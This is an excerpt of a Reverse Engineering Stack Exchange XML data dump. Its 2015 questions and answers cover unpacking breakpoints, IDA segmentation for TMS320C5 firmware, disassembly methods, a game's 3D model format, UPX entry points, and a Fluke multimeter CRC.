LastActivityDate="2015-12-09T16:20:20.083" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11490" PostTypeId="1" AcceptedAnswerId="11492" CreationDate="2015-12-09T15:49:07.913" Score="3" ViewCount="838" Body="&lt;p&gt;I recently heard about the esp trick: some packers push all registers on the stack, and when unpacking is done, they are restored. Placing a hardware breakpoint on esp we can stop there and get the original entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it necessary to use a hardware breakpoint? &lt;a href=&quot;http://yangseo.tistory.com/52&quot; rel=&quot;nofollow&quot;&gt;This site&lt;/a&gt; argues that because software breakpoints modify the code. But why is that a problem here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every example I met uses Ollydbg. How can I set such a breakpoint in gdb?&lt;/p&gt;&#xA;" OwnerUserId="13970" LastActivityDate="2015-12-09T16:33:21.757" Title="Unpacking and the ESP trick" Tags="|gdb|unpacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11491" PostTypeId="1" AcceptedAnswerId="11496" CreationDate="2015-12-09T16:12:58.623" Score="4" ViewCount="447" Body="&lt;p&gt;I am currently working on reversing a firmware file for the older TMS320C5 16-bit microprocessor. I'm using IDA pro to do so and I need to manually create segments for each object contained in the file. I'm asking for a step-by-step procedure to do so. Below is more information on why/what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The TMS320C5, like many other processors, access an internal cache, called the &quot;Fast Memory&quot; which is a single 64K page. It loads this memory from the contents of an outside, bigger and slower memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firmware file contains a memory image, which is written directly to the slow memory of the device. It operates using a multi-tasking RTOS. Each tasks/process is stored at different locations in the binary file and do not appear to be in any particular order. From my understanding, each task within the file is preceded by 4 words, one of them indicating the base address where the current task will be loaded in fast memory. In some cases, 2 or 3 tasks can be loaded at the same base address in fast memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that each branch/call instruction within a task uses a direct address within the current page (see figure 3). So they are not relative to the PC (Program Counter) or the contents of some other register. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, I'd now like that branching and calling instructions be aligned with the proper functions and sections within their segment. While I do not have a strong grasp on segmentation in IDA, I read some other thread such as &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/10957/how-to-deal-with-code-that-change-its-address-among-different-execution/10958#10958&quot;&gt;How to deal with code that change its address among different execution&lt;/a&gt;, &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6907/ida-segmentation-problem/6924#6924&quot;&gt;IDA segmentation problem&lt;/a&gt; and &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6067/segments-in-ida-how-to-overcome-noname-problem&quot;&gt;Segments in IDA. How to overcome NONAME problem&lt;/a&gt;, but none offer a complete solution to what I need, as I do not believe CS/DS and other Intel segments apply here. I could not find any really useful in the IDA PRO book either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, it seems I have accomplish 50% of what I need by doing the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Creating a new selector using the Selector subview: &lt;strong&gt;View &gt; Open Subviews &gt; Selectors&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Right-click in the subview, select &lt;strong&gt;Add Selector&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Created some examples as per figure 1 below.&lt;/li&gt;&#xA;&lt;li&gt;Using the command-line and &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/312.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;SetSegmentAttr&lt;/a&gt; function, I've change the selector of one of the segment: &lt;strong&gt;SetSegmentAttr(ScreenEA(), SEGATTR_SEL, 1)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As an example, there is a task within the firmware which starts at linear address &lt;em&gt;0xCAEFD&lt;/em&gt;. This tasks is loaded at &lt;em&gt;0x2C00&lt;/em&gt; in fast memory. As such, I'd like to create a segment containing this task and for which the base address is 0x2C00. While I changed the segment of the block using the procedure above, the offset starts at &lt;em&gt;0x9EF02&lt;/em&gt; (see figure 2). I expected it to starts at &lt;em&gt;0x0&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Figure 1: &#xA;&lt;a href=&quot;https://i.stack.imgur.com/kONJt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kONJt.png&quot; alt=&quot;Figure 1: Creating a new selector&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Figure 2:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CnxyF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CnxyF.png&quot; alt=&quot;Figure 2: Resulting addresses of the segment&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect I somewhat need to change the offset somehow. I'm aware of the &lt;strong&gt;Move Segment&lt;/strong&gt; option, but it seems it &quot;physically&quot; change the segment to the address, which I do not want since some tasks share the same base address in fast memory (or are close to each other and will overwrite another task). What are the steps I need to complete in order to isolate each task into its own segment so that branches and calls align? For example, in figure 3, I would like IDA to link the &lt;code&gt;BCND 2C1Dh, geq&lt;/code&gt; to the corresponding &lt;em&gt;0x2C1D&lt;/em&gt; location within the segment, rather than the corresponding linear address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Figure 3:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Xo9lv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xo9lv.png&quot; alt=&quot;Example of a branching instruction within the task&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="13780" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2015-12-10T08:36:48.303" Title="Manual Segmentation of Objects in non-Intel Firmware" Tags="|ida|disassembly|firmware|segmentation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11492" PostTypeId="2" ParentId="11490" CreationDate="2015-12-09T16:33:21.757" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Placing a hardware breakpoint on esp we can stop there and get the&#xA;  original entry point.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Why is it necessary to use a hardware breakpoint?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The value of &lt;code&gt;ESP&lt;/code&gt; is an address on the stack. The data at that memory address may get read or written, but won't get executed¹ since it's not code. Software breakpoints are only useful on code that gets executed, and since the data at that memory address won't get executed, a software breakpoint won't be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;¹ There are exceptions to this, but it's out of context for your question.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I set such a breakpoint in gdb?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In gdb, you can set a hardware breakpoint on the memory address pointed to by &lt;code&gt;ESP&lt;/code&gt; by setting a &lt;strong&gt;watchpoint&lt;/strong&gt;, which is documented &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Set-Watchpoints.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-12-09T16:33:21.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11493" PostTypeId="2" ParentId="11466" CreationDate="2015-12-09T18:14:53.450" Score="4" Body="&lt;p&gt;You have basically two options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Linear Sweep&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read the first N-bytes until you get a correct opcode (e.g., 05 14 00 00 00 decompiles to add eax,0x14). Disassemble the next opcode. You will read some data sections and get invalid opcodes. You may skip the process or mark these &quot;instructions&quot; as bad and proceed until you get the next valid opcode and resume as described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Recursive Traversal&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read the first N-bytes until you get a correct opcode. Proceed until you disassemble any sort of jump, store your current position, follow the jump and proceed as described. Stop disassembly when you get an invalid opcode and resume at the previously stored position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both approaches require some basic information like&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Where does your program code start?&lt;/li&gt;&#xA;&lt;li&gt;What architecture is the code for?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some of these information are part of the header (e.g., in PE- oder ELF-Files).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Linux Interactive DisAssembler (LIDA) has a short introduction how the program disassembles the code and how objdump does its work. This is a good starting point to get familiar with the topic.&lt;/p&gt;&#xA;" OwnerUserId="13844" LastActivityDate="2015-12-09T18:14:53.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11494" PostTypeId="1" CreationDate="2015-12-09T18:22:00.520" Score="4" ViewCount="1755" Body="&lt;p&gt;I am trying to write a program for a Mediatek based CD-ROM to write information to CDs in a different manner. I want to be able to control the laser with, or without a CD within. So my question is, what is the best approach to getting the firmware to rewrite the instruction set accepted from the computer. I am assuming that the architecture is ARM, but do you think that it is best to download the firmware from the company's website, then put it in a disassembler and try things, or is there a better or different approach? My last resort is to create a new control board, in which can control the electronics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simon&lt;/p&gt;&#xA;" OwnerUserId="14366" LastActivityDate="2016-03-16T16:28:23.907" Title="Reverse Engineering CD-ROM Firmware" Tags="|disassembly|firmware|reassembly|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11495" PostTypeId="1" AcceptedAnswerId="11576" CreationDate="2015-12-09T20:11:24.230" Score="7" ViewCount="2127" Body="&lt;p&gt;As a personal project I've been trying to reverse engineer the art assets for the old Dynamix game Earthsiege 2 (this game has long been abandonware and was recently released for free by Hi-Rez, the current copyright holder). It was child's play to decode the images/textures, but I've been having trouble with the binary 3D model format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As some background, the 3D models are saved as DTS files. DTS is a proprietary binary format (little-Endian), short for &quot;Dynamix Three-Space&quot;. I wasn't able to find any resources on reversing ES2-era DTS files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this post I'll focus on the Apocalypse. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6Kv1A.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Kv1A.png&quot; alt=&quot;The Apocalypse in-game; take note there are discrete parts rather than a single mesh&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Apocalypse model is stored in &lt;code&gt;Apoca.dts&lt;/code&gt; . The file starts out like this (in hex, with annotations):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  | File size |     ?     |ChunkMarker|Chunk Length&#xA;02|7C 7F 01 00|4B 1F 3D 7F|03 00 1E 00|FC 5F 00 &#xA;00|FF FF 00 00 0E 08 BF FF CC FF 23 04 01 00 15 &#xA;00 14 00 70 46 00 00 FF FF 00 00 B7 06 BF FF CC &#xA;FF 23 04 1B 00 14 00 14 00 4A 01 00 00 01 00 0C &#xA;00 AB 01 FB FF 22 00 7B 05 18 00 0F 00 10 00 06  &amp;lt;-Faces&#xA;00 02 00 03 00 04 00 05 00 02 00 05 00 07 00 08 &#xA;00 0A 00 0B 00 04 00 03 00 03 00 02 00 08 00 0A &#xA;00 0B 00 07 00 05 00 04 00 0A 00 08 00 07 00 0B &#xA;00 00 00 1D 00 FF 07 00 00 00 00 00 00 24 FF 72  &amp;lt;-Some vertices here&#xA;01 82 05 DC 00 72 01 82 05 DC 00 C0 FE 8C 05 24  &amp;lt;-&#xA;FF C0 FE 8C 05 00 F8 00 00 00 00 24 FF E8 FE 00  &amp;lt;-&#xA;05 24 FF 04 01 60 04 00 08 00 00 00 00 DC 00 04  &amp;lt;-&#xA;01 60 04 DC 00 E8 FE 00 05 00 00 7A 07 2A FD 00  &amp;lt;-&#xA;00 4F F8 CE FD 00 00 BB FD 55 F8 02 00 00 04 02 &#xA;00 00 04 00 00 00 14 00 00 00 14 00 00 00 00 FF &#xA;FF FF FF FF FF FF FF FF FF FF FF 1B 00 00 00 FF &#xA;FF FF FF FF FF FF FF FF FF FF FF 19 00 00 00 FF &#xA;FF FF FF FF FF FF FF FF FF FF FF 03 00 14 00 0A &#xA;00 00 00 00 00 02 00 04 00 00 00 00 00 03 00 14&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For formatted/color-coded analysis, see &lt;a href=&quot;http://postimg.org/image/8e56re90n/&quot; rel=&quot;noreferrer&quot;&gt;http://postimg.org/image/8e56re90n/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see the first 3 chunks of the file in their entirety, see &lt;a href=&quot;http://pastebin.com/RTFkdiBd&quot; rel=&quot;noreferrer&quot;&gt;http://pastebin.com/RTFkdiBd&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Current knowledge&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Each DTS file is broken into chunks. The 10th - 13th bytes are a start-of-chunk marker; I think this is &lt;code&gt;03 00 1E 00&lt;/code&gt; in each file. The next four bytes are the size of the chunk, always followed by FF 00. A new chunk will begin immediately after the previous ends. I don't know how the chunks divvy up data right now, but it does appear that multiple chunks contain vertices. This may be related to the fact that the model is noticeably divided into discrete parts, rather than a single mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each vertex is a set of 6 bytes, consisting of 3 &lt;em&gt;signed&lt;/em&gt; shorts for the X, Y, and Z coordinates of that vertex. The first vertex in this file is 24 FF 62 01 82 05, which has coordinates -220, 354, 1401 when converted to decimal. The sample I've provided contains the following vertices:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;24 FF 72 01 82 05 &#xA;DC 00 72 01 82 05 &#xA;DC 00 C0 FE 8C 05 &#xA;24 FF C0 FE 8C 05&#xA;24 FF E8 FE 00 05&#xA;24 FF 04 01 60 04&#xA;DC 00 04 01 60 04 &#xA;DC 00 E8 FE 00 05&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These vertices define the crotch. Interestingly, the crotch is actually located above the head in 3D space as defined in the file, so it must get translated somewhere. I have tested and verified that the above bytes contain the crotch by editing them in RAM while the game is running, which distorts the model immediately when I click back into the game window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that between some of these vertices are two sets of six bytes that do not appear to be vertices (they don't correspond to any point on the model and have no effect when altered in RAM). I don't know what the deal with these is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 F8 00 00 00 00&#xA;00 08 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The rest of the model is defined in pieces throughout the file. Vertices are clustered into small groups, which I think define one shape at a time. I can find vertices for everything but the weapons and legs. The legs are animated, so they might be defined differently, or located in a different file. The weapons are defined in a separate file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preceding the vertices are some shorts with small values, e.g. 06 00 02 00. These have something to do with the faces; my guess is that they refer to vertices by index to define a face. I have verified that these affect the faces by editing them in RAM while the game is running, but haven't fully decoded them yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is always 6 bytes of 0s (&lt;code&gt;00 00 00 00 00 00&lt;/code&gt;) between the faces and the vertices. There is always the marker &lt;strong&gt;&lt;code&gt;04 00 00 00 14 00 00 00 14 00 00 00&lt;/code&gt;&lt;/strong&gt; shortly after the vertices end. Using this knowledge, I'm able to parse vertices from a file by looking between those two markers; however, this is imprecise and I end up with a bunch of junk vertices forming a partial spherical shell around the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a rendering of a point cloud of vertices I am able to read out of the Apocalypse DTS file; I have filtered out some of the junk vertices here, but there are still some present around the edges and in the middle. Take note that the hips and crotch are located &lt;em&gt;above&lt;/em&gt; the torso in the file.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eubvH.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eubvH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What's next?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm not hoping to decode the entire DTS file from start to finish - it's much too long and complex - but I'd like to at least be able to read the vertices, and hopefully faces, out of the files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest struggle I've been having at the moment is trying to figure out how to know exactly where a set of faces/vertices start and end. &lt;strong&gt;My main question would be how to &lt;em&gt;precisely&lt;/em&gt; determine where a group of faces/vertices start and end&lt;/strong&gt;, as they are not in the exact same place in every file. Any other information you can spot that I've missed would be awesome, but that's my main objective. &lt;/p&gt;&#xA;" OwnerUserId="14367" LastEditorUserId="14367" LastEditDate="2015-12-11T00:55:09.207" LastActivityDate="2019-03-17T16:13:48.563" Title="Reverse engineering Earthsiege 2 3D model format" Tags="|binary-analysis|file-format|hex|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11496" PostTypeId="2" ParentId="11491" CreationDate="2015-12-10T08:36:48.303" Score="3" Body="&lt;p&gt;Not an answer, really, but too long for a comment; also, i know the x86 architecture well, but have no idea about the TMS320C5, so please take this with a grain of salt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm afraid that what you're trying to do doesn't match well with how IDA segmentation works, which basically stems from the 80x86 way of doing things. Which means that segment registers contain the upper 16 bit of the 20 bit address, offsets contain the lower 16 bit; and to calculate the physical address, you'd do &lt;code&gt;segment&amp;lt;&amp;lt;4 | offset&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means that an address like, say, &lt;code&gt;1234:0020&lt;/code&gt; is equivalent to &lt;code&gt;1236:0000&lt;/code&gt; - both map to the physical address of &lt;code&gt;12360&lt;/code&gt;. Now if your binary gets loaded at segment &lt;code&gt;1234&lt;/code&gt; - physical address &lt;code&gt;12340&lt;/code&gt; - there is no &quot;intrinsic&quot; way of telling what the offset of &lt;code&gt;12360&lt;/code&gt; is; it could be &lt;code&gt;0020&lt;/code&gt; within the &lt;code&gt;1234&lt;/code&gt; segment, or &lt;code&gt;0000&lt;/code&gt; in the &lt;code&gt;1236&lt;/code&gt; segment. IDA segmentation will just tell the disassembler that a new segment starts at the &lt;code&gt;12360&lt;/code&gt; physical address, so if the &lt;code&gt;ds&lt;/code&gt; register is set to that segment, then &lt;code&gt;ds:0&lt;/code&gt; accesses the variable that&lt;code&gt;s defined at that&lt;/code&gt;12360` address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is different to your processor insofar that code will never be swapped in or out, code regions never overlap in &lt;em&gt;physical&lt;/em&gt; memory, and offsets within segments always start at &lt;code&gt;0000&lt;/code&gt;. Even if, in pathological cases, the metainfo .EXE file states to load a segment to offset &lt;code&gt;0200&lt;/code&gt;, the loader will generate a new segment, fill the first 0x200 bytes with &lt;code&gt;00&lt;/code&gt;, and load the contents from the .EXE file behind this zero'd out block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What IDA can't do - as far as i know - is something like &quot;make &lt;code&gt;0000-CAEFD&lt;/code&gt; one segment; then start another segment at &lt;code&gt;C82FD&lt;/code&gt; in which the address &lt;code&gt;CAEFD&lt;/code&gt; has an offset of &lt;code&gt;2C00&lt;/code&gt;, because that would make the meaning of the file part between &lt;code&gt;C82FD&lt;/code&gt; and &lt;code&gt;CAEFD&lt;/code&gt; ambigous, you wouldn't know which segment it belongs to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, when you said the base address should be &lt;code&gt;2C00&lt;/code&gt;, you told IDA that address &lt;code&gt;2C00&lt;/code&gt; in the file should equal address &lt;code&gt;0000&lt;/code&gt; in the segment. This is why it was showing offset &lt;code&gt;9EF02&lt;/code&gt;; if &lt;code&gt;2C00&lt;/code&gt; (file position) corresponds to &lt;code&gt;0000&lt;/code&gt; (segment start), then &lt;code&gt;CAEFD-2C00=9EF02&lt;/code&gt; (file position) corresponds to &lt;code&gt;9EF02&lt;/code&gt; (position within segment). Try using &lt;code&gt;9EF02&lt;/code&gt; as segment start; the byte at &lt;code&gt;CAEFD&lt;/code&gt; is &lt;code&gt;2C00&lt;/code&gt; bytes into that segment so it has an offset of &lt;code&gt;2C00&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work for you, i'd do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the size of my original firmware isn't a multiple of 64K, append &lt;code&gt;\0&lt;/code&gt; bytes until it is.&lt;/li&gt;&#xA;&lt;li&gt;When i identify a task and the offset it should be executed at, append as many &lt;code&gt;0&lt;/code&gt; bytes as are needed to reach the start address of that task, copy the task itself, and append more &lt;code&gt;\0&lt;/code&gt; bytes to reach a multiple of 64K again.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Doing this, you'll get a file that has one big block that contains the original firmware, and multiple 64-KB-blocks that contain just one task and a bunch of zeroes each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when you load that file, define one segment for the first big block, and one segment for each of the appended 64 KB chunks. That way, you can have one segment per task; segments are easy to define since each of them starts at a multiple of &lt;code&gt;10000&lt;/code&gt; and all but the first are exactly &lt;code&gt;10000&lt;/code&gt; bytes in size, and you have a 1:1 relation between &lt;code&gt;file byte&lt;/code&gt; and &lt;code&gt;memory byte&lt;/code&gt; which should make IDA happy.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-12-10T08:36:48.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11498" PostTypeId="1" CreationDate="2015-12-10T11:17:14.267" Score="0" ViewCount="828" Body="&lt;p&gt;During manual unpacking, the first task is to find to original entry point. The program jumps there after the unpacking is done.&#xA;I took the &lt;code&gt;bin/ls&lt;/code&gt; file, and checked with &lt;code&gt;readelf -h&lt;/code&gt; that the entry point is &lt;code&gt;0x404870&lt;/code&gt;. I packed it with upx, and in gdb set a breakpoint at this address: &lt;code&gt;b *0x404870&lt;/code&gt;. I expected that the program will stop there, but apparently it terminates without stopping at this address. Am I misinterpreting something?&lt;/p&gt;&#xA;" OwnerUserId="13970" LastActivityDate="2023-04-25T00:04:10.580" Title="Stopping at the original entry point in a packed file" Tags="|linux|unpacking|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11499" PostTypeId="2" ParentId="11498" CreationDate="2015-12-10T17:00:36.860" Score="1" Body="&lt;p&gt;Your approach doesn't make much sense, since the packer is free to move the original executable around and to map it at a different offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old version of upx on Linux just wrote the file to a temporary location, then execve'd it, but I think that modern ones are now writing it in memory : You can find the OEP by breaking on stack/heap execution in GDB, like everyone is doing on Windows with OllyDBG.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-12-10T17:00:36.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11500" PostTypeId="2" ParentId="11498" CreationDate="2015-12-10T17:35:57.777" Score="-1" Body="&lt;p&gt;My idea is to use LordPE to find what's packed with. Once you have unpacked it, ImportREC can help reconstruct your executable without the packer. I don't know what you 're dealing with, but if you check out a video of how each of them work and get the basics, you will most likely succeed.&lt;/p&gt;&#xA;" OwnerUserId="12537" LastActivityDate="2015-12-10T17:35:57.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11502" PostTypeId="2" ParentId="11474" CreationDate="2015-12-10T19:48:19.450" Score="1" Body="&lt;p&gt;open the dumped file in a hexeditor say hxd&lt;br&gt;&#xA;select the bytes from offset &lt;code&gt;0x400 to 0xfff&lt;/code&gt; and delete them&lt;br&gt;&#xA;(&lt;code&gt;all the bytes would be 0x00&lt;/code&gt;)&lt;br&gt;&#xA;save the file your imports should turn out ok&lt;br&gt;&#xA;pointer to raw data would normally be 0x400&lt;br&gt;&#xA;but since this is a memory as you say the pe header would be 0x1000 bytes     deleting the extra bytes should align the text segment as well as entry point to correct place    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if there are any misalignments further down in other sections you may need to trim the extra 00000 bytes  based on &lt;code&gt;size of raw data + pointer to raw data&lt;/code&gt; this should normally match the next sections pointer to raw data&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-12-10T19:48:19.450" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11503" PostTypeId="1" CreationDate="2015-12-10T23:59:14.580" Score="3" ViewCount="1844" Body="&lt;p&gt;I'm working on unpacking a firmware image. I've already uncompressed the original image, but I'm stuck in the current step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the current uncompressed image:&#xA;&lt;a href=&quot;https://www.dropbox.com/s/vxxz3x8ek84iie0/Firmware_N30?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/vxxz3x8ek84iie0/Firmware_N30?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to what I have found this is an eCos image:&#xA;&lt;a href=&quot;http://ecos.sourceware.org/&quot; rel=&quot;nofollow&quot;&gt;http://ecos.sourceware.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to separate the binaries, analyse how they work and see if it's possible to make modifications. How can I continue?&lt;/p&gt;&#xA;" OwnerUserId="14381" LastEditorUserId="53" LastEditDate="2017-04-28T12:44:06.227" LastActivityDate="2017-04-28T12:44:06.227" Title="Analysing eCos image" Tags="|disassembly|binary-analysis|firmware|unpacking|binary|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11504" PostTypeId="1" CreationDate="2015-12-11T02:49:35.107" Score="2" ViewCount="334" Body="&lt;p&gt;Downloaded and compiled CRC_reveng, but it's not finding any solutions. Maybe I'm over-thinking this? Not knowing too many other tricks that might be performed on the data or CRC before or after it's computed, I'm looking for guidance. I tried leaving out the start byte, and tried both 8-bit and 16-bit widths. No luck. Here's some sample data packets:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10020200C6FE2D00C5FE2D00047C000010038CEC &#xA;10020200C5FE2D00C6FE2D00046D00001003DFA4 &#xA;10020200C6FE2D00C5FE2D00015B00531003C1C4 &#xA;10020200C5FE2D00C6FE2D0001A405534B000D004B1003F50D &#xA;10020200C6FE2D00C5FE2D00047D00001003C7E7 &#xA;10020200C5FE2D00C6FE2D00046E0000100313B9&#xA;10020200C6FE2D00C5FE2D00015C155344000000000000000000008C4C08080000040D00201003BC41&#xA;10020200C5FE2D00C6FE2D0001A505534B000D004B1003D221&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The data shown is both directions of the Fluke 233 IR port (every other line originates from either the display or the multimeter itself). Seems like &quot;C6FE2D00&quot; and &quot;C5FE2D00&quot; might be identifiers for the display and multimeter itself, since you see the same patterns on every other line. The data was collected with a DSLogic logic analyzer, and it looks like the data is simply 19200 baud, 8 bits, no parity. Most commonly, the data packets are 20 bytes long, but as you can see, that's not always the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I might proceed since &lt;code&gt;reveng -w 16 -s [data]&lt;/code&gt; and &lt;code&gt;reveng -w 8 -s [data]&lt;/code&gt; don't turn up anything?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone else has a Fluke 233 and feels like sniffing out the same data lines to compare notes, that'd be awesome. I'm wondering too if there's a unique identifier for the wireless display or if you can simply swap out the display between units.&lt;/p&gt;&#xA;" OwnerUserId="14382" LastActivityDate="2017-01-12T00:15:22.670" Title="Trying to figure out the CRC or checksum for a Fluke 233 wireless display multimeter" Tags="|crc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11505" PostTypeId="1" CreationDate="2015-12-11T04:50:47.647" Score="2" ViewCount="327" Body="&lt;p&gt;How does Microsoft project an image so close to the eye yet understandable by the brain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is the display transparent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link has good information but is speculative. &lt;a href=&quot;https://www.reddit.com/r/HoloLens/comments/2v0nac/hololens_display_tech_and_what_to_expect_from_it/&quot; rel=&quot;nofollow&quot;&gt;https://www.reddit.com/r/HoloLens/comments/2v0nac/hololens_display_tech_and_what_to_expect_from_it/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What materials are used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a list of patents see this: &lt;a href=&quot;http://vrwiki.wikispaces.com/Microsoft+HoloLens&quot; rel=&quot;nofollow&quot;&gt;http://vrwiki.wikispaces.com/Microsoft+HoloLens&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14383" LastEditorUserId="99" LastEditDate="2018-01-22T10:50:43.760" 